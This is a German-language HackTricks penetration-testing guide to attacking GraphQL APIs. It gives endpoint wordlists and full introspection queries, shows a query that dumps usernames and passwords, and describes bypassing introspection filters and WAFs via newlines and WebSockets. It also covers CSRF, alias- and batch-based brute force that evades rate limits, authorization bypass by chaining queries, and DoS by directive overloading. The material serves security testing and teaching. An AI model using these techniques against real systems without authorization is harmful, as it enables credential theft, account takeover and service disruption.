31 KiB
GraphQL
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Einführung
GraphQL wird als effiziente Alternative zu REST-APIs hervorgehoben und bietet einen vereinfachten Ansatz zum Abfragen von Daten vom Backend. Im Gegensatz zu REST, bei dem oft zahlreiche Anfragen an verschiedene Endpunkte gestellt werden müssen, um Daten zu sammeln, ermöglicht GraphQL das Abrufen aller erforderlichen Informationen durch eine einzige Anfrage. Diese Vereinfachung nutzt Entwicklern erheblich, indem sie die Komplexität ihrer Datenabrufprozesse verringert.
GraphQL und Sicherheit
Mit dem Aufkommen neuer Technologien, einschließlich GraphQL, entstehen auch neue Sicherheitslücken. Ein wichtiger Punkt ist, dass GraphQL standardmäßig keine Authentifizierungsmechanismen enthält. Es liegt in der Verantwortung der Entwickler, solche Sicherheitsmaßnahmen zu implementieren. Ohne ordnungsgemäße Authentifizierung können GraphQL-Endpunkte sensible Informationen für nicht authentifizierte Benutzer freigeben und somit ein erhebliches Sicherheitsrisiko darstellen.
Verzeichnis-Brute-Force-Angriffe und GraphQL
Um freiliegende GraphQL-Instanzen zu identifizieren, wird die Einbeziehung spezifischer Pfade in Verzeichnis-Brute-Force-Angriffen empfohlen. Diese Pfade sind:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung unterstützter Abfragen. Dies ist entscheidend, um die über den Endpunkt zugänglichen Daten zu verstehen. Das Introspektionsystem von GraphQL erleichtert dies, indem es die Abfragen detailliert auflistet, die ein Schema unterstützt. Für weitere Informationen hierzu siehe die GraphQL-Dokumentation zur Introspektion: GraphQL: Eine Abfragesprache für APIs.
Fingerabdruck
Das Tool graphw00f ist in der Lage zu erkennen, welcher GraphQL-Engine auf einem Server verwendet wird, und liefert dann einige hilfreiche Informationen für den Sicherheitsprüfer.
Universelle Abfragen
Um zu überprüfen, ob eine URL ein GraphQL-Dienst ist, kann eine universelle Abfrage, query{__typename}
, gesendet werden. Wenn die Antwort {"data": {"__typename": "Query"}}
enthält, bestätigt dies, dass die URL einen GraphQL-Endpunkt hostet. Diese Methode basiert auf dem Feld __typename
von GraphQL, das den Typ des abgefragten Objekts offenbart.
query{__typename}
Grundlegende Aufzählung
Graphql unterstützt in der Regel GET, POST (x-www-form-urlencoded) und POST(json). Obwohl es aus Sicherheitsgründen empfohlen wird, nur json zuzulassen, um CSRF-Angriffe zu verhindern.
Introspektion
Um die Schema-Informationen mithilfe der Introspektion zu entdecken, abfragen Sie das __schema
-Feld. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.
query={__schema{types{name,fields{name}}}}
Mit dieser Abfrage finden Sie den Namen aller verwendeten Typen:
{% code overflow="wrap" %}
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
{% endcode %}
Mit dieser Abfrage können Sie alle Typen, deren Felder und Argumente (und den Typ der Argumente) extrahieren. Dies wird sehr nützlich sein, um zu wissen, wie die Datenbank abgefragt werden kann.
Fehler
Es ist interessant zu wissen, ob die Fehler angezeigt werden, da sie nützliche Informationen liefern werden.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Datenbank-Schema über Introspektion aufzählen
{% hint style="info" %}
Wenn die Introspektion aktiviert ist, aber die obige Abfrage nicht funktioniert, versuchen Sie, die Direktiven onOperation
, onFragment
und onField
aus der Abfragestruktur zu entfernen.
{% endhint %}
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Inline Inspektionsabfrage:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
Die letzte Codezeile ist eine GraphQL-Abfrage, die alle Metainformationen aus dem GraphQL (Objektnamen, Parameter, Typen...) ausgibt.
Wenn die Introspektion aktiviert ist, können Sie GraphQL Voyager verwenden, um alle Optionen in einer GUI anzuzeigen.
Abfragen
Nun, da wir wissen, welche Art von Informationen in der Datenbank gespeichert sind, versuchen wir, einige Werte abzurufen.
In der Introspektion können Sie herausfinden, welches Objekt Sie direkt abfragen können (weil Sie ein Objekt nicht abfragen können, nur weil es existiert). Im folgenden Bild sehen Sie, dass der "queryType" "Query" genannt wird und dass eines der Felder des "Query"-Objekts "flags" ist, das auch ein Objekttyp ist. Daher können Sie das Flag-Objekt abfragen.
Beachten Sie, dass der Typ der Abfrage "flags" "Flags" ist, und dieses Objekt wie folgt definiert ist:
Sie können sehen, dass die "Flags"-Objekte aus name und value bestehen. Dann können Sie alle Namen und Werte der Flags mit der Abfrage erhalten:
query={flags{name, value}}
Beachten Sie, dass im Falle des abzufragenden Objekts ein primitiver Typ wie String ist, wie im folgenden Beispiel
Sie können es einfach abfragen mit:
query={hiddenFlags}
In einem anderen Beispiel, in dem sich 2 Objekte innerhalb des "Query"-Typobjekts befanden: "user" und "users".
Wenn diese Objekte keine Argumente zum Suchen benötigen, könnten Sie alle Informationen von ihnen abrufen, indem Sie einfach nach den Daten fragen, die Sie möchten. In diesem Beispiel aus dem Internet könnten Sie Benutzernamen und Passwörter extrahieren:
Jedoch erhalten Sie in diesem Beispiel bei dem Versuch, dies zu tun, diesen Fehler:
Es scheint, dass auf irgendeine Weise nach dem "uid"-Argument vom Typ Int gesucht wird.
Wie auch immer, wir wussten bereits, dass in der Grundlegenden Enumeration Abschnitt eine Abfrage vorgeschlagen wurde, die uns alle benötigten Informationen zeigte: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Wenn Sie das bereitgestellte Bild lesen, wenn ich diese Abfrage ausführe, werden Sie sehen, dass "user" das Arg "uid" vom Typ Int hatte.
Also, durchführung eines leichten uid Bruteforce fand ich heraus, dass bei uid=1 ein Benutzername und ein Passwort abgerufen wurden:
query={user(uid:1){user,password}}
Beachten Sie, dass ich festgestellt habe, dass ich nach den Parametern "user" und "password" fragen konnte, denn wenn ich nach etwas suche, das nicht existiert (query={user(uid:1){noExists}}
), erhalte ich diesen Fehler:
Und während der Enumeration-Phase entdeckte ich, dass das "dbuser"-Objekt als Felder "user" und "password hatte.
Abfragezeichenfolge Dump-Trick (Dank an @BinaryShadow_)
Wenn Sie nach einem String-Typ suchen können, wie: query={theusers(description: ""){username,password}}
und Sie nach einem leeren String suchen, werden alle Daten ausgegeben. (Beachten Sie, dass dieses Beispiel nicht mit dem Beispiel der Tutorials zusammenhängt. Für dieses Beispiel nehmen Sie an, dass Sie mit "theusers" nach einem String-Feld namens "description" suchen können").
Suche
In dieser Konfiguration enthält eine Datenbank Personen und Filme. Personen werden anhand ihrer E-Mail und ihres Namens identifiziert; Filme anhand ihres Namens und ihrer Bewertung. Personen können miteinander befreundet sein und auch Filme haben, was auf Beziehungen innerhalb der Datenbank hinweist.
Sie können Personen nach dem Namen suchen und ihre E-Mails erhalten:
{
searchPerson(name: "John Doe") {
email
}
}
Du kannst Personen nach dem Namen suchen und ihre abonnierten Filme erhalten:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Beachten Sie, wie angegeben ist, den name
der subscribedMovies
der Person abzurufen.
Sie können auch mehrere Objekte gleichzeitig suchen. In diesem Fall wird eine Suche nach 2 Filmen durchgeführt:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Oder sogar Beziehungen mehrerer verschiedener Objekte unter Verwendung von Aliassen:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutationen
Mutationen werden verwendet, um Änderungen auf der Serverseite vorzunehmen.
In der Introspektion können Sie die deklarierten Mutationen finden. Im folgenden Bild wird der "MutationType" als "Mutation" bezeichnet und das "Mutation"-Objekt enthält die Namen der Mutationen (wie "addPerson" in diesem Fall):
In diesem Setup enthält eine Datenbank Personen und Filme. Personen werden anhand ihrer E-Mail und ihres Namens identifiziert; Filme anhand ihres Namens und ihrer Bewertung. Personen können miteinander befreundet sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.
Eine Mutation zum Erstellen neuer Filme in der Datenbank könnte wie folgt aussehen (in diesem Beispiel wird die Mutation addMovie
genannt):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Beachten Sie, wie sowohl die Werte als auch der Datentyp in der Abfrage angegeben sind.
Zusätzlich unterstützt die Datenbank eine Mutation-Operation namens addPerson
, die die Erstellung von Personen zusammen mit ihren Verknüpfungen zu vorhandenen Freunden und Filmen ermöglicht. Es ist entscheidend zu beachten, dass die Freunde und Filme vor dem Verknüpfen mit der neu erstellten Person bereits in der Datenbank vorhanden sein müssen.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Direktivenüberlastung
Wie in einer der Schwachstellen, die in diesem Bericht beschrieben sind erklärt, bedeutet eine Direktivenüberlastung, eine Direktive sogar Millionen Mal aufzurufen, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, einen DoS-Angriff durchzuführen.
Batch-Brute-Force in 1 API-Anfrage
Diese Information stammt von https://lab.wallarm.com/graphql-batching-attack/.
Authentifizierung über GraphQL-API durch gleichzeitiges Senden vieler Abfragen mit unterschiedlichen Anmeldeinformationen zur Überprüfung. Es handelt sich um einen klassischen Brute-Force-Angriff, aber jetzt ist es möglich, mehr als ein Login/Passwort-Paar pro HTTP-Anfrage zu senden, aufgrund der GraphQL-Batch-Funktion. Dieser Ansatz würde externe Rate-Monitoring-Anwendungen dazu bringen zu glauben, dass alles in Ordnung ist und es keinen Brute-Force-Bot gibt, der versucht, Passwörter zu erraten.
Im Folgenden finden Sie die einfachste Demonstration einer Authentifizierungsanfrage der Anwendung, mit 3 verschiedenen E-Mail/Passwort-Paaren gleichzeitig. Offensichtlich ist es möglich, auf die gleiche Weise Tausende in einer einzigen Anfrage zu senden:
Wie aus dem Antwort-Screenshot ersichtlich ist, haben die ersten und dritten Anfragen null zurückgegeben und die entsprechenden Informationen im error-Abschnitt reflektiert. Die zweite Mutation enthielt die korrekten Authentifizierungsdaten und die Antwort enthielt das korrekte Authentifizierungssitzungstoken.
GraphQL ohne Introspektion
Immer mehr GraphQL-Endpunkte deaktivieren die Introspektion. Die Fehler, die GraphQL wirft, wenn eine unerwartete Anfrage empfangen wird, reichen jedoch aus, damit Tools wie clairvoyance den Großteil des Schemas rekonstruieren können.
Darüber hinaus beobachtet die Burp Suite-Erweiterung GraphQuail GraphQL-API-Anfragen, die durch Burp gehen und erstellt ein internes GraphQL-Schema mit jeder neuen Abfrage, die es sieht. Es kann auch das Schema für GraphiQL und Voyager freigeben. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsabfrage erhält. Als Ergebnis zeigt GraphQuail alle Abfragen, Argumente und Felder, die innerhalb der API verwendet werden können. Weitere Informationen finden Sie hier.
Eine schöne Wortliste zur Entdeckung von GraphQL-Entitäten finden Sie hier.
Umgehen von GraphQL-Introspektionsabwehrmechanismen
Um Beschränkungen bei Introspektionsabfragen in APIs zu umgehen, erweist sich das Einfügen eines Sonderzeichens nach dem __schema
-Schlüsselwort als wirksam. Diese Methode nutzt häufige Entwicklerfehler in Regex-Mustern aus, die darauf abzielen, die Introspektion durch Fokussierung auf das __schema
-Schlüsselwort zu blockieren. Durch das Hinzufügen von Zeichen wie Leerzeichen, Zeilenumbrüche und Kommas, die von GraphQL ignoriert werden, aber möglicherweise nicht in Regex berücksichtigt werden, können Beschränkungen umgangen werden. Beispielsweise kann eine Introspektionsabfrage mit einem Zeilenumbruch nach __schema
solche Abwehrmechanismen umgehen:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Wenn nicht erfolgreich, erwägen Sie alternative Anfragemethoden wie GET-Anfragen oder POST mit x-www-form-urlencoded
, da Einschränkungen möglicherweise nur für POST-Anfragen gelten.
Versuchen Sie WebSockets
Wie in diesem Vortrag erwähnt, überprüfen Sie, ob es möglich ist, eine Verbindung zu GraphQL über WebSockets herzustellen, da dies Ihnen möglicherweise ermöglicht, eine potenzielle WAF zu umgehen und die WebSocket-Kommunikation das Schema des GraphQL preiszugeben:
ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}
var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}
Aufdecken von freigelegten GraphQL-Strukturen
Wenn die Introspektion deaktiviert ist, ist die Untersuchung des Quellcodes der Website nach vorab geladenen Abfragen in JavaScript-Bibliotheken eine nützliche Strategie. Diese Abfragen können mithilfe des Quellen
-Tabs in den Entwicklertools gefunden werden, um Einblicke in das Schema der API zu erhalten und potenziell sensible freigelegte Abfragen aufzudecken. Die Befehle zum Suchen innerhalb der Entwicklertools lauten:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
CSRF in GraphQL
Wenn Sie nicht wissen, was CSRF ist, lesen Sie die folgende Seite:
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}
Draußen werden Sie mehrere GraphQL-Endpunkte finden, die ohne CSRF-Token konfiguriert sind.
Beachten Sie, dass GraphQL-Anfragen normalerweise über POST-Anfragen mit dem Content-Type application/json
gesendet werden.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Jedoch unterstützen die meisten GraphQL-Endpunkte auch form-urlencoded
POST-Anfragen:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Daher ist es möglich, CSRF-Anfragen wie die vorherigen ohne Vorab-Anfragen zu senden, um Änderungen im GraphQL vorzunehmen und CSRF auszunutzen.
Beachten Sie jedoch, dass der neue Standard-Cookie-Wert des samesite
-Flags von Chrome Lax
ist. Dies bedeutet, dass das Cookie nur von einer Drittanbieter-Website in GET-Anfragen gesendet wird.
Es ist in der Regel möglich, die Abfrageanfrage auch als GET-Anfrage zu senden und der CSRF-Token wird möglicherweise nicht in einer GET-Anfrage validiert.
Durch die Ausnutzung eines XS-Search Angriffs könnte es möglich sein, Inhalte aus dem GraphQL-Endpunkt unter Ausnutzung der Anmeldeinformationen des Benutzers zu exfiltrieren.
Für weitere Informationen siehe den Originalbeitrag hier.
Cross-Site WebSocket-Hijacking in GraphQL
Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, einen Cross-Site WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies zu missbrauchen und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.
Für weitere Informationen siehe:
{% content-ref url="../../pentesting-web/websocket-attacks.md" %} websocket-attacks.md {% endcontent-ref %}
Autorisierung in GraphQL
Viele in dem Endpunkt definierte GraphQL-Funktionen überprüfen möglicherweise nur die Authentifizierung des Anfragenden, jedoch nicht die Autorisierung.
Die Änderung von Abfrageeingabevariablen könnte zu sensiblen Kontodetails führen, die geleakt werden.
Mutationen könnten sogar zu einem Account-Takeover führen, wenn versucht wird, andere Kontodaten zu ändern.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Umgehung der Autorisierung in GraphQL
Das Verketten von Abfragen kann ein schwaches Authentifizierungssystem umgehen.
Im folgenden Beispiel sehen Sie, dass die Operation "forgotPassword" ist und dass nur die damit verbundene forgotPassword-Abfrage ausgeführt werden sollte. Dies kann umgangen werden, indem am Ende eine weitere Abfrage hinzugefügt wird. In diesem Fall fügen wir "register" und eine Benutzervariable hinzu, damit das System sich als neuer Benutzer registrieren kann.
Umgehung von Rate Limits unter Verwendung von Aliassen in GraphQL
In GraphQL sind Aliasse ein leistungsstarkes Feature, das es ermöglicht, Eigenschaften explizit zu benennen, wenn eine API-Anfrage gestellt wird. Diese Funktion ist besonders nützlich, um mehrere Instanzen desselben Objekttyps innerhalb einer einzelnen Anfrage abzurufen. Aliasse können eingesetzt werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.
Für ein detailliertes Verständnis von GraphQL-Aliassen wird die folgende Ressource empfohlen: Aliasse.
Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit für zahlreiche API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt auszuführen. Dies ist möglich, da einige Endpunkte durch Rate-Limiter geschützt sind, die Brute-Force-Angriffe durch die Beschränkung der Anzahl der HTTP-Anfragen verhindern sollen. Diese Rate-Limiter berücksichtigen möglicherweise jedoch nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse das Einbeziehen mehrerer Abfragen in einer einzelnen HTTP-Anfrage ermöglichen, können sie solche Rate-Limiting-Maßnahmen umgehen.
Betrachten Sie das untenstehende Beispiel, das veranschaulicht, wie aliased Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte die Umgehung von Rate Limits ermöglichen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst und somit die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
Werkzeuge
Schwachstellen-Scanner
- https://github.com/dolevf/graphql-cop: Testet häufige Fehlkonfigurationen von GraphQL-Endpunkten
- https://github.com/assetnote/batchql: Skript zur Überprüfung der GraphQL-Sicherheit mit Schwerpunkt auf der Durchführung von Stapel-GraphQL-Abfragen und -Mutationen.
- https://github.com/dolevf/graphw00f: Erkennt die verwendete GraphQL-Version
- https://github.com/gsmith257-cyber/GraphCrawler: Toolkit, das zum Abrufen von Schemas und zum Suchen nach sensiblen Daten, Testen von Autorisierungen, Brute-Forcing von Schemas und zum Finden von Pfaden zu einem bestimmten Typ verwendet werden kann.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Kann eigenständig oder als Burp-Erweiterung verwendet werden.
- https://github.com/swisskyrepo/GraphQLmap: Kann auch als CLI-Client verwendet werden, um Angriffe zu automatisieren
- https://gitlab.com/dee-see/graphql-path-enum: Tool, das die verschiedenen Möglichkeiten auflistet, einen bestimmten Typ in einem GraphQL-Schema zu erreichen.
- https://github.com/doyensec/GQLSpection: Der Nachfolger der eigenständigen und CLI-Modi von InQL
- https://github.com/doyensec/inql: Burp-Erweiterung für fortgeschrittenes GraphQL-Testing. Der Scanner ist der Kern von InQL v5.0, mit dem Sie einen GraphQL-Endpunkt oder eine lokale Introspektions-Schema-Datei analysieren können. Er generiert automatisch alle möglichen Abfragen und Mutationen und organisiert sie in einer strukturierten Ansicht für Ihre Analyse. Die Komponente Attacker ermöglicht das Ausführen von Stapel-GraphQL-Angriffen, was nützlich sein kann, um schlecht implementierte Rate-Limits zu umgehen.
- https://github.com/nikitastupin/clairvoyance: Versucht, das Schema auch bei deaktivierter Introspektion zu erhalten, indem einige GraphQL-Datenbanken verwendet werden, die Namen von Mutationen und Parametern vorschlagen.
Clients
- https://github.com/graphql/graphiql: GUI-Client
- https://altair.sirmuel.design/: GUI-Client
Automatische Tests
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
- Video, das AutoGraphQL erklärt: https://www.youtube.com/watch?v=JJmufWfVvyU
Referenzen
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.